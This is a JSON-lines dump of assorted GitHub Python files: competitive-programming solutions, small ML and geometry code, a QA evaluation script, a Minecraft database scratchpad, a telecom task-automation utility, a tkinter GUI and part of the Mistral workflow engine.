memo[????][????????????][??1???]????\r\n# 1?????????????????????\r\n\r\nn = input()\r\nmemo = [[[None for _ in range(len(n)+1)] for _ in range(2)]\r\n for _ in range(len(n)+1)]\r\n\r\n\r\ndef rec(i, threshold, s):\r\n if i == len(n):\r\n return s\r\n if memo[i][threshold][s] is not None:\r\n return memo[i][threshold][s]\r\n ret = 0\r\n limit = int(n[i]) if threshold == 1 else 9\r\n for j in range(limit + 1):\r\n nex_threshold = 1 if (j == limit and threshold == 1) else 0\r\n if j == 1:\r\n ret += rec(i + 1, nex_threshold, s + 1)\r\n else:\r\n ret += rec(i + 1, nex_threshold, s)\r\n memo[i][threshold][s] = ret\r\n return ret\r\n\r\n\r\nprint(rec(0, 1, 0))","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/abc029/D/4759497.py","file_name":"4759497.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"25238824690","text":"\r\ndef leer_datos(nombre):\r\n ar = open(nombre)\r\n cadenas = []\r\n for linea in ar:\r\n cadenas.append(linea.rstrip(\"\\n\"))\r\n cadenas.pop(0)\r\n ar.close()\r\n return cadenas\r\n\r\ndef nucleotidos():\r\n nucleotidos = {\"A\": 1, \"C\": 2, \"G\":3 ,\"T\": 4}\r\n return nucleotidos\r\n\r\ndef desorden(cadena):\r\n indice = 0\r\n dic = nucleotidos()\r\n numero = 0\r\n for letra in cadena:\r\n for i in range(indice,len(cadena)):\r\n if dic[letra] > dic[cadena[i]]:\r\n numero += 1\r\n indice += 1\r\n return numero \r\n\r\ndef procesar(cadenas):\r\n lista = []\r\n for cadena in cadenas:\r\n n = desorden(cadena)\r\n lista.append([cadena,n])\r\n return lista\r\n\r\ndef ordenar(cadenas_procesadas):\r\n ordenado = []\r\n for cadena in cadenas_procesadas:\r\n if len(str(cadena[1])) == 1:\r\n ordenado.append(\"00\"+str(cadena[1])+cadena[0])\r\n if len(str(cadena[1])) == 2:\r\n ordenado.append(\"0\"+str(cadena[1])+cadena[0])\r\n if len(str(cadena[1])) > 2:\r\n ordenado.append(str(cadena[1])+cadena[0])\r\n ordenado.sort()\r\n salida = []\r\n for cadena in ordenado:\r\n salida.append(cadena[3:])\r\n return salida\r\n\r\ndef archivo_salida(cadenas_ordenadas):\r\n ar = open(\"ADN.RES\",\"w\")\r\n for cadena in cadenas_ordenadas:\r\n ar.write(cadena+\"\\n\")\r\n ar.close\r\n\r\nif __name__ == \"__main__\":\r\n cadenas = leer_datos(\"ADN.dat\")\r\n cadenas_procesadas = procesar(cadenas)\r\n cadenas_ordenadas = ordenar(cadenas_procesadas)\r\n archivo_salida(cadenas_ordenadas)","repo_name":"CoreFox20/programacion","sub_path":"Catedra/genoma/genoma.py","file_name":"genoma.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41430959486","text":"import tensorflow as tf\nimport numpy as np\n\ntf.set_random_seed(777)\nlearning_rate = 0.1\n\nx_data = [[0, 0],\n [0, 1],\n [1, 0],\n [1, 1]]\n\ny_data = [[0],\n [1],\n [1],\n [0]]\n\nx_data = np.array(x_data, dtype=np.float32)\ny_data = np.array(y_data, dtype=np.float32)\n\nX = tf.placeholder(tf.float32, [None, 2])\nY = tf.placeholder(tf.float32, [None, 1])\n\nW1 = tf.Variable(tf.random_normal([2, 2]), name='weight1')\nb1 = tf.Variable(tf.random_normal([2]), name='bias1')\nl1 = tf.sigmoid(tf.matmul(X, W1) + b1)\n\nW2 = tf.Variable(tf.random_normal([2, 1]), name='weight2')\nb2 = tf.Variable(tf.random_normal([1]), name='bias2')\nY_pred = tf.sigmoid(tf.matmul(l1, W2) + b2)\n\ncost = -tf.reduce_mean(Y * tf.log(Y_pred) + (1 - Y) * tf.log(1 - Y_pred))\n\nd_Y_pred = (Y_pred - Y) / (Y_pred * (1.0 - Y_pred) + 1e-7)\n\n","repo_name":"lshhhhh/deep-learning-study","sub_path":"deep-learning-zero-to-all/lab-09-x-xor-nn-back_prop.py","file_name":"lab-09-x-xor-nn-back_prop.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"35368078866","text":"# exemple de polynome de Bernstein de degrés 3 :\n# (1-t)3+3t(1-t)²+3t²(1-t)+t3\n# depart : ((1-t)+t)3\n# exemple de polynome de Bernstein de degrés 2 :\n# (1-t)²+2t(1-t)+2t+t²\n# depart : ((1-t)+t)²\nfrom kivy.vector import Vector\n\nimport numpy as np\n\n\n# !!!! Attention les points doivent être envoyé sous forme de tableau vecteur !!!!!! #\nclass Polybezier:\n def __init__(self, points=None, precision=100):\n if points is None:\n points = [[0, 0], [0, 0]]\n if precision == 0:\n precision = 1\n self.__points = points\n self.__npoints = 0\n self.__ncoef = 0\n self.__degres = len(points) - 1\n self.__precision = precision\n self.__allcoef = [[0], [1, 1], [1, 2, 1], [1, 3, 3, 1]]\n self.__puisA = []\n self.__puisB = []\n self.__coef = []\n self.__coord = None\n self.__calcNeedUpdate = False\n self.__recalPuisCoef = False\n self.__preCalculed_t = None\n self.__pre_calculed_tcoef = None\n self.__precalcNeedUpdate = True\n self.coorda = None\n\n self.__calc_coef()\n self.__pre_calcul_tcoef()\n self.__calcul_coord2()\n self.__calc_puissance()\n\n def get_points(self):\n return self.__points\n\n def set_points(self, points=None):\n if points is None:\n points = [[0, 0], [0, 0]]\n if self.__npoints != len(points):\n self.__degres = len(points) - 1\n self.__calc_coef()\n self.__points = np.array(points)\n self.__npoints = len(points)\n self.__calcNeedUpdate = True\n\n def get_precision(self):\n return self.__precision\n\n def set_precision(self, precision=100):\n self.__precision = precision\n self.__precalcNeedUpdate = True\n\n def get_coord(self):\n if self.__calcNeedUpdate:\n self.__calcul_coord2()\n return self.__coord\n\n def get_degres(self):\n return self.__degres\n\n def get_coef(self):\n return self.__coef\n\n def get_puissances(self):\n return self.__puisA, self.__puisB\n\n def __calc_coef(self):\n maxcoefprev = len(self.__allcoef) - 1\n if self.__degres > maxcoefprev:\n for n in range(maxcoefprev, self.__degres):\n coeft = [1]\n start = self.__allcoef[maxcoefprev]\n for p in range(1, len(start)):\n k = start[p - 1] + start[p]\n coeft.append(k)\n coeft.append(1)\n self.__allcoef.append(coeft)\n maxcoefprev = n + 1\n self.__coef = coeft\n self.__ncoef = len(coeft)\n else:\n self.__coef = self.__allcoef[self.__degres]\n self.__degreshaschanged = False\n\n def __calc_puissance(self):\n step = self.__degres + 1\n pa = []\n pb = []\n for n in range(0, step):\n m = self.__degres - n\n pa.append(m)\n pb.append(n)\n self.__puisA = pa\n self.__puisB = pb\n\n def print_formule(self):\n self.__calc_puissance()\n ln = len(self.__coef)\n eq = ''\n for n in range(ln):\n c = str(self.__coef[n]) + \"x\"\n pa = '(1-t)^' + str(self.__puisA[n])\n b = 'xt^' + str(self.__puisB[n])\n p = \"xP\" + str(n) + \"+\"\n if self.__coef[n] == 1:\n c = ''\n if self.__puisA[n] == 0:\n pa = ''\n b = 't^' + str(self.__puisB[n])\n p = \"xP\" + str(n)\n if self.__puisB[n] == 0:\n b = ''\n if self.__puisA[n] == 1:\n pa = '(1-t)'\n if self.__puisB[n] == 1:\n b = 'xt'\n\n eq += c + pa + b + p\n return eq\n\n def __pre_calcul_tcoef(self):\n t1 = []\n t2 = []\n for n in range(0, self.__precision + 1):\n t = n / self.__precision\n tmp1 = []\n tmp2 = []\n for d in range(self.__degres + 1):\n r = self.__degres - d\n tmp1.append((1 - t) ** r)\n tmp2.append(t ** d)\n t1.append(tmp1)\n t2.append(tmp2)\n t1 = np.mat(t1)\n t2 = np.mat(t2)\n self.__preCalculed_t = np.multiply(t1, t2)\n self.__pre_calculed_tcoef = np.multiply(self.__preCalculed_t, self.__coef)\n self.__calcNeedUpdate = False\n\n def __calcul_coord2(self):\n if self.__precalcNeedUpdate:\n self.__pre_calcul_tcoef()\n self.__coord = np.array(self.__pre_calculed_tcoef * self.__points).tolist()\n self.__calcNeedUpdate = False\n","repo_name":"daconrilcy/testbezier","sub_path":"polybezier/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10662432827","text":"\nfrom torch import nn\nimport vision_noseq\n\n\ndef build_model_noseq(cfg, data_shapes):\n print(\"Data Shape:\", data_shapes)\n\n input_shape_no_batch = data_shapes['image'][1:]\n\n # define all the models\n images_to_keypoints_net = vision_noseq.ImagesToKeypEncoder(cfg, input_shape_no_batch)\n keypoints_to_images_net = vision_noseq.KeypToImagesDecoder(cfg, input_shape_no_batch)\n\n return nn.ModuleList([images_to_keypoints_net, keypoints_to_images_net])\n","repo_name":"thegyro/unsup_keyp_torch","sub_path":"old/build_models.py","file_name":"build_models.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"34842326350","text":"count = list(map(int,input().split()))\nchess = [1,1,2,2,2,8]\nfix = []\nfor i in range(len(count)) :\n fix_num =0\n if count[i] == chess[i] :\n fix.append(0)\n elif count[i] > chess[i] :\n fix_num = chess[i] - count[i]\n fix.append(fix_num)\n else :\n fix_num = chess[i] - count[i]\n fix.append(fix_num)\n print(f'{fix[i]}', end=\" \")","repo_name":"AndreaStudy/PythonAlgo","sub_path":"baekjoon/bronze/b5_bj_3003.py","file_name":"b5_bj_3003.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74859568231","text":"import argparse\nimport collections\nimport json\nimport string\nfrom collections import defaultdict, Counter\n\nfrom logzero import logger\nfrom tqdm import trange\n\n\ndef normalize_answer(answer):\n def compress_spaces(text):\n return \"\".join(text.split())\n\n def remove_punc(text):\n exclude = set(string.punctuation)\n return \"\".join(ch for ch in text if ch not in exclude)\n\n def lower(text):\n return text.lower()\n\n return compress_spaces(remove_punc(lower(answer)))\n\n\ndef compute_exact(a_gold, a_pred):\n a_gold = normalize_answer(a_gold)\n a_pred = normalize_answer(a_pred)\n return int(a_gold == a_pred)\n\n\ndef compute_f1(a_gold, a_pred):\n a_gold = normalize_answer(a_gold)\n a_pred = normalize_answer(a_pred)\n\n common = collections.Counter(a_gold) & collections.Counter(a_pred)\n num_same = sum(common.values())\n if len(a_gold) == 0 or len(a_pred) == 0:\n # If either is no-answer, then F1 is 1 if they agree, 0 otherwise\n return int(a_gold == a_pred)\n\n if num_same == 0:\n return 0\n\n precision = 1.0 * num_same / len(a_pred)\n recall = 1.0 * num_same / len(a_gold)\n f1 = (2 * precision * recall) / (precision + recall)\n return f1\n\n\ndef group_dataset_and_prediction_by_qid(dataset, prediction, top_k=10):\n qid_to_question = {}\n qid_to_gold_answer = {}\n qid_to_pred_answers = defaultdict(list)\n qid_to_is_impossible = defaultdict(list)\n\n for article in dataset:\n for p in article[\"paragraphs\"]:\n for qa in p[\"qas\"]:\n qaid = qa[\"id\"]\n if qaid not in prediction:\n print(\"Missing prediction for %s\" % qaid)\n continue\n\n qid, doc_rank = qaid.split(\"-\")\n if int(doc_rank) > top_k:\n continue\n\n question = qa[\"question\"]\n assert qid_to_question.get(qid) in (None, question)\n qid_to_question[qid] = question\n\n gold_answer = qa[\"original_answer\"]\n assert qid_to_gold_answer.get(qid) in (None, gold_answer)\n qid_to_gold_answer[qid] = gold_answer\n\n pred_answer = prediction[qaid]\n qid_to_pred_answers[qid].append(pred_answer)\n\n is_impossible = qa[\"is_impossible\"]\n qid_to_is_impossible[qid].append(is_impossible)\n\n return qid_to_question, qid_to_gold_answer, qid_to_pred_answers, qid_to_is_impossible\n\n\ndef get_qa_scores(qid_to_gold_answer, qid_to_pred_answers, qid_to_is_impossible, top_k):\n exact_scores = {}\n f1_scores = {}\n not_impossible_qids = set()\n for qid, pred_answers in qid_to_pred_answers.items():\n pred_answers = pred_answers[:top_k]\n answer_counts = Counter(pred_answers)\n answer_counts[\"\"] = 0\n most_common_answer = answer_counts.most_common()[0][0]\n\n gold_answer = qid_to_gold_answer[qid]\n\n exact_score = compute_exact(gold_answer, most_common_answer)\n f1_score = compute_f1(gold_answer, most_common_answer)\n\n is_impossible = all(qid_to_is_impossible[qid][:top_k])\n if not is_impossible:\n not_impossible_qids.add(qid)\n\n exact_scores[qid] = exact_score\n f1_scores[qid] = f1_score\n\n total = len(qid_to_pred_answers)\n assert len(exact_scores) == total, len(exact_scores)\n assert len(f1_scores) == total, len(f1_scores)\n\n averaged_em = sum(exact_scores.values()) / total\n averaged_f1 = sum(f1_scores.values()) / total\n upper_bound = len(not_impossible_qids) / total\n return averaged_em, averaged_f1, upper_bound\n\n\ndef main(args):\n logger.info(\"Loading the dataset file\")\n with open(args.dataset_file) as f:\n dataset = json.load(f)[\"data\"]\n\n logger.info(\"Loading the prediction file\")\n with open(args.prediction_file) as f:\n predcition = json.load(f)\n\n logger.info(\"Processing the loaded files\")\n qid_to_question, qid_to_gold_answer, qid_to_pred_answers, qid_to_is_impossible = \\\n group_dataset_and_prediction_by_qid(dataset, predcition, top_k=args.top_k)\n\n logger.info(\"Computing EM and F1\")\n with open(args.output_file, \"w\") as fo:\n print(\"k\", \"EM\", \"F1\", \"upper bound\", sep=\"\\t\", file=fo)\n best_em = 0.0\n f1_for_best_em = 0.0\n k_for_best_em = None\n if args.fix_k:\n ks = [args.top_k]\n else:\n ks = trange(1, args.top_k + 1)\n\n for k in ks:\n em, f1, upper_bound = get_qa_scores(qid_to_gold_answer, qid_to_pred_answers, qid_to_is_impossible, top_k=k)\n print(f\"{k}\\t{em:.4f}\\t{f1:.4f}\\t{upper_bound:.4f}\", sep=\"\\t\", file=fo)\n if em > best_em:\n best_em = em\n f1_for_best_em = f1\n k_for_best_em = k\n\n assert k_for_best_em is not None\n logger.info(\"Best EM: %.3f (F1 = %.3f, k = %d)\", best_em, f1_for_best_em, k_for_best_em)\n\n if args.output_qa_prediction_file is not None:\n logger.info(\"Writing predictions to file\")\n qa_predictions = []\n for qid in qid_to_question:\n qa_prediction = {\n \"question_id\": qid,\n \"question\": qid_to_question[qid],\n \"gold_answer\": qid_to_gold_answer[qid],\n \"pred_answers\": qid_to_pred_answers[qid]\n }\n qa_predictions.append(qa_prediction)\n json.dump(qa_predictions, open(args.output_qa_prediction_file, \"w\"), ensure_ascii=False, indent=4)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\"Evaluation script for open-domain QA using RCQA dataset.\")\n parser.add_argument(\"--dataset_file\", type=str, required=True)\n parser.add_argument(\"--prediction_file\", type=str, required=True)\n parser.add_argument(\"--output_file\", required=True)\n parser.add_argument(\"--output_qa_prediction_file\", type=str)\n parser.add_argument(\"--top_k\", type=int, default=10)\n parser.add_argument(\"--fix_k\", action=\"store_true\")\n args = parser.parse_args()\n main(args)\n","repo_name":"cl-tohoku/open-book-qa","sub_path":"evaluate_rcqa_open.py","file_name":"evaluate_rcqa_open.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38459741689","text":"# I gave up on trying to do this in any \"right\" way, so I'm just\n# dumping code in and I'll sort out the specifics later.\n\nfrom aleenabot.database.migration import initMigrator\nfrom aleenabot.database.migration import dbMigrationManager as migrator\nfrom aleenabot.database.migration import DBMigrationType as MGT\nimport aleenabot.database.database as db\n# from itertools import permutations # maybe later\nimport pandas as pd\nfrom tqdm import tqdm\n\ndef createDB():\n initMigrator()\n migrator.run_all(\"0000\", \"0001\", [MGT.CORE, MGT.MINECRAFT])\n\n# ------------------------------------------------------------------------------\n\ndef dbAddVanillaMinecraftOneSixteenFive():\n mod, created = db.MCMod.get_or_create(name = \"Minecraft\")\n version, created = db.MCMinecraftVersion.get_or_create(version=\"1.16.5\", nickname=\"The Nether Update\")\n loader, created = db.MCModLoader.get_or_create(name = \"Minecraft\")\n modVersion, created = db.MCModVersion.get_or_create(\n mod = mod,\n minecraftVersion = version,\n modLoader = loader,\n version = \"1.16.5\",\n sha3Checksum = \"skip\",\n shakeChecksum = \"skip\",\n filename = \"skip\"\n )\n\n# ------------------------------------------------------------------------------\n\ndef dbAddItemsFromCSV():\n csv = pd.read_csv(\".\\\\__data\\\\vanilla\\\\items.csv\")\n \n mc_mod = db.MCMod.get(name = \"Minecraft\")\n mc_modVersion = db.MCModVersion.get(mod = mc_mod, version = \"1.16.5\")\n \n for i in range(len(csv)):\n # get line\n line = csv.iloc[i]\n \n # should be an item, so let's just do it in order.\n i_isblockitem = False\n if (line[\"Is BlockItem\"] == \"+\"):\n i_isblockitem = True\n \n # and we can just create it from there, with\n # awful defaults for many items, I guess\n item, created = db.MCItem.get_or_create(\n name = line[\"Display Name\"],\n registryName = line[\"ID\"],\n lore = line[\"Tooltip\"],\n nbt = line[\"Tag\"],\n source = mc_mod,\n firstSourceVersion = mc_modVersion,\n lastSourceVersion = mc_modVersion,\n material = None,\n slot = None,\n archetype = None,\n translationKey = line[\"Translation Key\"],\n isBlockitem = i_isblockitem,\n attackDamage = 0.0,\n attackDamageModifier = 0.0,\n attackSpeed = 0.0,\n attackSpeedModifer = 0.0,\n burnTime = float(line[\"Burn Time\"]),\n canEatWhileFull = False,\n damageReduceAmount = 0.0,\n durability = 0.0,\n efficiency = 0.0,\n enchantability = float(line[\"Enchantability\"]),\n harvestLevel = 0.0,\n healing = 0.0,\n isFastEating = 0.0,\n isMeat = False,\n inventoryModelName = 0.0,\n maxDamage = float(line[\"Max Damage\"]),\n maxStackSize = int(line[\"Max Stack Size\"]),\n saturation = 0.0,\n toughness = 0.0,\n useDuration = 0.0,\n )\n\n # and now tags\n if (str(line[\"Tags\"]) != \"nan\"):\n swp_tags = line[\"Tags\"].split()\n \n for tag in swp_tags:\n if (tag.strip() != \"\"):\n i_tag, created = db.MCItemTag.get_or_create(registryName = tag.strip())\n \n db.MCItems_to_MCTags.get_or_create(item = item, tag = i_tag)\n\n# ------------------------------------------------------------------------------\n\ningredientSets = []\n\ndef _helper_ingredients(current:dict[str,int], remaining:list[str]):\n global ingredientSets\n \n l_remaining = remaining.copy()\n l_current = current.copy()\n \n # still work to do?\n if (len(l_remaining) > 0):\n ingredient = l_remaining.pop().strip()\n \n if (\"|\" in ingredient):\n ingredients = ingredient.split(\"|\")\n for i in ingredients:\n swp = i.strip()\n \n # same as simple ingredient now\n if swp not in l_current:\n l_current[swp] = 0\n l_current[swp] = l_current[swp] + 1\n \n # next step\n _helper_ingredients(l_current, l_remaining)\n else:\n # simple ingredient\n if ingredient not in l_current:\n l_current[ingredient] = 0\n l_current[ingredient] = l_current[ingredient] + 1\n \n # next step\n _helper_ingredients(l_current, l_remaining)\n else:\n # work's done.\n ingredientSets.append(current)\n\ndef _helper_ingredient_commit(recipe):\n global ingredientSets\n \n for s in ingredientSets:\n # we begin to assemble ingredients, yes?\n for ingredient in s.keys():\n item = db.MCItem.get(registryName=ingredient),\n iOrIt, created = db.MCItemOrItemTag.get_or_create(\n item = item,\n tag = None\n )\n d = {}\n \n rItem, created = db.MCRecipeInput.get_or_create(\n recipe = recipe,\n item = iOrIt,\n count = s[ingredient],\n char = None\n )\n # reset ingredient sets\n ingredientSets = []\n\ndef dbAddShapelessRecipesFromCSV():\n csv = pd.read_csv(\".\\\\__data\\\\vanilla\\\\items.csv\")\n table = db.MCItem.get(registryName=\"minecraft:crafting_table\")\n\n for i in range(len(csv)):\n # get line\n line = csv.iloc[i]\n \n # check output item\n l_item_name = line[\"Output Item\"].strip()\n l_item_count = 1\n \n l_item_split = l_item_name.split()\n \n if len(l_item_split) > 1:\n l_item_count = int(l_item_split[1].strip()[1:])\n l_item_name = l_item_split[0].strip\n \n l_output_item = db.MCItem.get(registryName=l_item_name)\n \n # Dynamic?\n l_isDynamic = False\n if (line[\"Is Dynamic\"] == \"+\"):\n l_isDynamic = True\n \n recipe, created = db.MCRecipe.get_or_create(\n registryName = line[\"id\"],\n outputItem = l_output_item,\n enabled = True,\n outputCount = l_item_count,\n group = line[\"Group\"],\n serializer = line[\"Serializer\"],\n icon = line[\"Icon\"],\n isShapeless = True,\n inputPattern = None,\n station = table,\n isDynamic = l_isDynamic\n )\n\n # ingredients now\n _helper_ingredients({}, line[\"Input Ingredients\"].split(\"\\n\"))\n _helper_ingredient_commit(recipe)\n \n# ------------------------------------------------------------------------------\n# main\n# ------------------------------------------------------------------------------\n\ndef hardReset():\n # write it down so we don't have to repeat all that again\n createDB()\n db.initDB()\n dbAddVanillaMinecraftOneSixteenFive()\n dbAddItemsFromCSV()\n\ndef main():\n pass\n\n \nif __name__ == \"__main__\":\n main()","repo_name":"greysondn/aleenabot","sub_path":"aleenabot/scripts/mc_scratchpad.py","file_name":"mc_scratchpad.py","file_ext":"py","file_size_in_byte":8131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26096447708","text":"import time\nimport json\nimport requests\nfrom random import choices\nfrom utils.config import data_storage_server_url, Authorization\n\n\nclass Common(object):\n local_cookie_cache = {}\n\n def __getattribute__(self, name, *args, **kwargs):\n obj = super().__getattribute__(name)\n if type(obj).__name__ == 'method':\n print(obj.__name__.center(64, '#'), self.mobile)\n return obj\n\n def __init__(self):\n self.mobile = ''\n\n @property\n def timestamp(self):\n return int((time.time() + 8 * 60 * 60 + time.timezone) * 1000)\n\n @property\n def server_timestamp(self):\n return int((time.time() + time.timezone) * 1000)\n\n @property\n def now_date(self):\n return time.strftime(\n '%Y-%m-%d', time.localtime(self.timestamp / 1000)\n )\n\n @property\n def now_time(self):\n return time.strftime(\n '%X', time.localtime(self.timestamp / 1000)\n )\n\n @property\n def getDeviceId(self):\n value = '86' + ''.join(choices('0123456789', k=12))\n sum_ = 0\n parity = 15 % 2\n for i, digit in enumerate([int(x) for x in value]):\n if i % 2 == parity:\n digit *= 2\n if digit > 9:\n digit -= 9\n sum_ += digit\n value += str((10 - sum_ % 10) % 10)\n return value\n\n @property\n def getMac(self):\n return ':'.join([''.join(choices('0123456789ABCDE', k=2)) for _ in range(6)])\n\n def flushTime(self, timeout):\n for _ in range(timeout, -1, -1):\n time.sleep(1)\n\n def readCookie(self, key, retry=5):\n \"\"\"\n 可能出现网络波动 增加重试请求\n \"\"\"\n if data_storage_server_url.find('http') == -1:\n raise Exception('数据存储接口错误')\n if Common.local_cookie_cache.get(key, ''):\n # print('使用local_cookie_cache')\n return Common.local_cookie_cache[key]\n try:\n resp = requests.get(\n url=data_storage_server_url,\n params={\"key\": key},\n headers={\n \"Authorization\": Authorization,\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\"\n }\n )\n result = resp.json()\n if result[\"msg\"]:\n data = result[\"data\"]\n Common.local_cookie_cache[key] = data[key]\n return data[key]\n else:\n return ''\n except Exception as e:\n print('readCookie', e)\n if retry > 0:\n self.flushTime(5)\n return self.readCookie(key, retry - 1)\n else:\n print(\"读取Cookie失败\")\n return ''\n\n def saveCookie(self, key: str, value, retry=5):\n \"\"\"\n 可能出现网络波动 增加重试请求\n \"\"\"\n if data_storage_server_url.find('http') == -1:\n raise Exception('数据存储接口错误')\n try:\n if type(value) in [dict, list, tuple]:\n value = json.dumps(value, indent=4, ensure_ascii=False)\n # if not isinstance(value, str):\n # value = str(value)\n resp = requests.post(\n url=data_storage_server_url,\n data={\n \"key\": key,\n \"value\": value\n },\n headers={\n \"Authorization\": Authorization,\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\"\n }\n )\n result = resp.json()\n # print('更新local_cookie_cache')\n Common.local_cookie_cache[key] = result['data'][key]\n result['data'] = '...'\n print(result)\n except Exception as e:\n print('saveCookie', e)\n if retry > 0:\n self.flushTime(5)\n return self.saveCookie(key, value, retry - 1)\n else:\n print(\"保存Cookie失败\")\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"rhming/UnicomDailyTask","sub_path":"utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":161,"dataset":"github-code","pt":"72"} +{"seq_id":"72482930792","text":"import tkinter as tk\r\nimport subprocess\r\n\r\ndef start_spider():\r\n text_box.insert(tk.END, \"正在爬取数据...\\n\")\r\n subprocess.call([\"python\", r\"nba_players\\Spider1.py\"])\r\n result = subprocess.call([\"python\", r\"nba_players\\Spider1.py\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\r\n if result == 0:\r\n text_box.insert(tk.END, \"爬取成功\\n\")\r\n else:\r\n text_box.insert(tk.END, \"爬取失败\\n\")\r\n\r\ndef generate_analysis():\r\n subprocess.Popen([\"python\", r\"nba_players\\PlayerRadarMap.py\"])\r\n\r\nroot = tk.Tk()\r\nroot.title(\"单球员水平分析\")\r\nroot.geometry(\"600x400\") # 设置窗口大小为600x400像素\r\n\r\nbutton1 = tk.Button(root, text=\"获取数据\", command=start_spider)\r\nbutton1.pack()\r\n\r\nbutton2 = tk.Button(root, text=\"生成分析图样\", command=generate_analysis)\r\nbutton2.pack()\r\n\r\ntext_box = tk.Text(root, height=10, width=50)\r\ntext_box.pack()\r\n\r\nroot.mainloop()\r\n","repo_name":"pioneerLu/python-data_Analysis-of-NBA","sub_path":"python 数据分析平台/gui5.py","file_name":"gui5.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16659311694","text":"import abc\nimport copy\nimport operator\nfrom oslo_log import log as logging\nimport six\n\nfrom mistral.db.v2 import api as db_api\nfrom mistral.engine import actions\nfrom mistral.engine import dispatcher\nfrom mistral.engine import policies\nfrom mistral import exceptions as exc\nfrom mistral import expressions as expr\nfrom mistral import utils\nfrom mistral.utils import wf_trace\nfrom mistral.workbook import parser as spec_parser\nfrom mistral.workflow import base as wf_base\nfrom mistral.workflow import data_flow\nfrom mistral.workflow import states\nfrom mistral.workflow import utils as wf_utils\nfrom mistral.workflow import with_items\n\n\nLOG = logging.getLogger(__name__)\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass Task(object):\n \"\"\"Task.\n\n Represents a workflow task and defines interface that can be used by\n Mistral engine or its components in order to manipulate with tasks.\n \"\"\"\n\n def __init__(self, wf_ex, task_spec, ctx, task_ex=None):\n self.wf_ex = wf_ex\n self.task_spec = task_spec\n self.ctx = ctx\n self.task_ex = task_ex\n self.wf_spec = spec_parser.get_workflow_spec(wf_ex.spec)\n self.waiting = False\n self.reset_flag = False\n\n @abc.abstractmethod\n def on_action_complete(self, action_ex):\n \"\"\"Handle action completion.\n\n :param action_ex: Action execution.\n \"\"\"\n raise NotImplementedError\n\n @abc.abstractmethod\n def run(self):\n \"\"\"Runs task.\"\"\"\n raise NotImplementedError\n\n def defer(self):\n \"\"\"Defers task.\n\n This methods finds task execution or creates new and puts task\n to a waiting state.\n \"\"\"\n\n if not self.task_ex:\n self.task_ex = wf_utils.find_task_executions_by_spec(\n self.wf_ex,\n self.task_spec\n )\n\n if not self.task_ex:\n self._create_task_execution()\n\n self.set_state(states.WAITING, 'Task execution is deferred.')\n\n self.waiting = True\n\n def reset(self):\n self.reset_flag = True\n\n def set_state(self, state, state_info, processed=None):\n \"\"\"Sets task state without executing post completion logic.\n\n :param state: New task state.\n :param state_info: New state information (i.e. error message).\n :param processed: New \"processed\" flag value.\n \"\"\"\n\n wf_trace.info(\n self.task_ex.workflow_execution,\n \"Task execution '%s' [%s -> %s]: %s\" %\n (self.task_ex.id, self.task_ex.state, state, state_info)\n )\n\n self.task_ex.state = state\n self.task_ex.state_info = state_info\n\n if processed is not None:\n self.task_ex.processed = processed\n\n def complete(self, state, state_info=None):\n \"\"\"Complete task and set specified state.\n\n Method sets specified task state and runs all necessary post\n completion logic such as publishing workflow variables and\n scheduling new workflow commands.\n\n :param state: New task state.\n :param state_info: New state information (i.e. error message).\n \"\"\"\n\n # Ignore if task already completed.\n if states.is_completed(self.task_ex.state):\n return\n\n self.set_state(state, state_info)\n\n data_flow.publish_variables(self.task_ex, self.task_spec)\n\n if not self.task_spec.get_keep_result():\n # Destroy task result.\n for ex in self.task_ex.executions:\n if hasattr(ex, 'output'):\n ex.output = {}\n\n self._after_task_complete()\n\n # Ignore DELAYED state.\n if self.task_ex.state == states.RUNNING_DELAYED:\n return\n\n # If workflow is paused we shouldn't schedule new commands\n # and mark task as processed.\n if states.is_paused(self.wf_ex.state):\n return\n\n wf_ctrl = wf_base.get_controller(self.wf_ex, self.wf_spec)\n\n # Calculate commands to process next.\n cmds = wf_ctrl.continue_workflow()\n\n # Mark task as processed after all decisions have been made\n # upon its completion.\n self.task_ex.processed = True\n\n dispatcher.dispatch_workflow_commands(self.wf_ex, cmds)\n\n def _before_task_start(self):\n policies_spec = self.task_spec.get_policies()\n\n for p in policies.build_policies(policies_spec, self.wf_spec):\n p.before_task_start(self.task_ex, self.task_spec)\n\n def _after_task_complete(self):\n policies_spec = self.task_spec.get_policies()\n\n for p in policies.build_policies(policies_spec, self.wf_spec):\n p.after_task_complete(self.task_ex, self.task_spec)\n\n def _create_task_execution(self, state=states.RUNNING):\n self.task_ex = db_api.create_task_execution({\n 'name': self.task_spec.get_name(),\n 'workflow_execution_id': self.wf_ex.id,\n 'workflow_name': self.wf_ex.workflow_name,\n 'workflow_id': 